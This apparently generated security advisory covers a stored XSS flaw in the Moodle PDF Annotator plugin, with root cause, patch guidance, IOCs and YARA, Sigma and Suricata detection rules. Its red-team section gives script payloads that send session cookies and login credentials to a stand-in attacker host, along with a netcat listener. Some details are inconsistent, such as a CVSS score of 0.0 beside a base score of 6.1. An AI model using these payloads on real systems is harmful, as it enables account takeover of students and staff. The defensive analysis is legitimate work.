CVE-2025-60506

Executive Summary

CVE-2025-60506 is a stored cross-site scripting (XSS) vulnerability in the Moodle PDF Annotator plugin, version 1.5 release 9. The vulnerability resides in the Public Comments feature, allowing an attacker with a low-privileged account (e.g., Student) to inject arbitrary JavaScript payloads into a comment. When any other user (Student, Teacher, or Admin) views the annotated PDF, the payload is executed in their browser. This can lead to session hijacking, credential theft, or other attacker-controlled actions. The vulnerability is currently unpatched, and no official patch is available from the vendor.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a plugin for the Moodle Learning Management System (LMS), which is a PHP-based application. The risk is primarily to organizations using Moodle with the PDF Annotator plugin installed.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Base Score: 6.1)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network (N) - The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): Low (L) - An attacker needs a low-privileged account (e.g., Student).
• User Interaction (UI): Required (R) - The victim must view the annotated PDF.
• Scope (S): Changed (C) - The impact is on the user's browser, not the server.
• Confidentiality (C): Low (L) - Limited information disclosure (e.g., session tokens).
• Integrity (I): Low (L) - Limited ability to modify content (e.g., defacement).
• Availability (A): None (N) - No impact on availability.

Threat Level: Medium. The vulnerability requires user interaction and low privileges, but the potential for session hijacking and credential theft makes it a significant risk.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the Moodle PDF Annotator plugin. The plugin allows users to add public comments to PDF files. The comment input is not properly sanitized or encoded before being stored in the database and later rendered in the browser.

Attack Flow:

1. An attacker with a Student account logs into Moodle.
2. The attacker navigates to a PDF file that has the PDF Annotator plugin enabled.
3. The attacker adds a public comment containing a malicious JavaScript payload, e.g., <script>alert('XSS')</script>.
4. The comment is stored in the Moodle database without sanitization.
5. When any other user (Student, Teacher, or Admin) views the same PDF, the comment is loaded and the JavaScript payload is executed in their browser.
6. The payload can steal session cookies, redirect to a phishing page, or perform actions on behalf of the victim.

Root Cause: The plugin fails to sanitize user input in the Public Comments feature. The input is likely stored as-is and rendered without proper encoding (e.g., using htmlspecialchars() in PHP or equivalent).

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In the comment submission handler
$comment = $_POST['comment'];
// No sanitization
$DB->insert_record('pdfannotator_comments', ['comment' => $comment]);

Patched Code (Conceptual):

// In the comment submission handler
$comment = clean_param($_POST['comment'], PARAM_TEXT);
// Or use htmlspecialchars for output
$DB->insert_record('pdfannotator_comments', ['comment' => $comment]);

Explanation: The vulnerable code directly inserts user input into the database without sanitization. The patched code uses clean_param() with PARAM_TEXT to strip HTML tags, or uses htmlspecialchars() when outputting the comment to escape special characters.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Moodle instance with the PDF Annotator plugin v1.5 release 9 installed.
• A low-privileged account (e.g., Student).

Exploitation Steps:

1. Log in as a Student.
2. Navigate to a PDF file with the PDF Annotator plugin enabled.
3. Add a public comment with the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Wait for a Teacher or Admin to view the PDF.
5. The victim's browser will execute the script, sending their session cookie to the attacker's server.

Alternative Payloads:

• Session hijacking: <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
• Credential theft: <script>document.getElementById('login').innerHTML='<form action=https://attacker.com/steal method=POST><input name=user><input name=pass><input type=submit></form>'</script>

Blue Team

Detection:

• Monitor for unusual JavaScript execution in the browser.
• Look for network requests to unknown external domains.
• Check for suspicious comments containing <script> tags or event handlers.

Prevention:

• Disable the PDF Annotator plugin until a patch is available.
• Implement a Web Application Firewall (WAF) rule to block XSS payloads.
• Use Content Security Policy (CSP) headers to restrict script execution.

Lab Setup:

• Use a Moodle Docker container with the vulnerable plugin.
• Set up a simple HTTP server to capture stolen cookies (e.g., nc -lvnp 80).

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to unknown domains containing cookie= or document.cookie.
  • Unusual POST requests to the Moodle server with <script> tags in the comment parameter.

• Host IOCs:

  • Comments in the mdl_pdfannotator_comments database table containing <script> tags.
  • Browser console errors related to CSP violations.

• File IOCs:

  • Modified plugin files (if the attacker uploads a malicious version).

Detection Engineering

YARA Rule

rule CVE_2025_60506_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting Moodle PDF Annotator plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-60506"
    strings:
        $xss1 = "<script>" ascii wide nocase
        $xss2 = "onerror=" ascii wide nocase
        $xss3 = "onload=" ascii wide nocase
        $xss4 = "javascript:" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-60506 Moodle PDF Annotator XSS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XSS payloads in Moodle PDF Annotator comments
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: moodle
detection:
    selection:
        http.method: POST
        http.url: '*/mod/pdfannotator/*'
        http.body: '*<script>*'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in comments (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-60506 Moodle PDF Annotator XSS"; flow:to_server,established; content:"POST"; http_method; content:"/mod/pdfannotator/"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the PDF Annotator plugin in Moodle until a patch is available.
2. Review all existing comments for malicious content and remove them.
3. Implement a Web Application Firewall (WAF) with XSS protection rules.

Long-term Fix:

• The vendor should release a patched version that sanitizes user input in the Public Comments feature.
• Apply input validation and output encoding using htmlspecialchars() or clean_param().

Workarounds:

• Restrict the ability to add public comments to trusted roles only (e.g., Teachers).
• Use Content Security Policy (CSP) headers to block inline scripts.

Valters IT Signature: This report was generated by Valters IT, an elite DevSecOps and Cyber Threat Intelligence team. For more information, visit https://valters-it.com.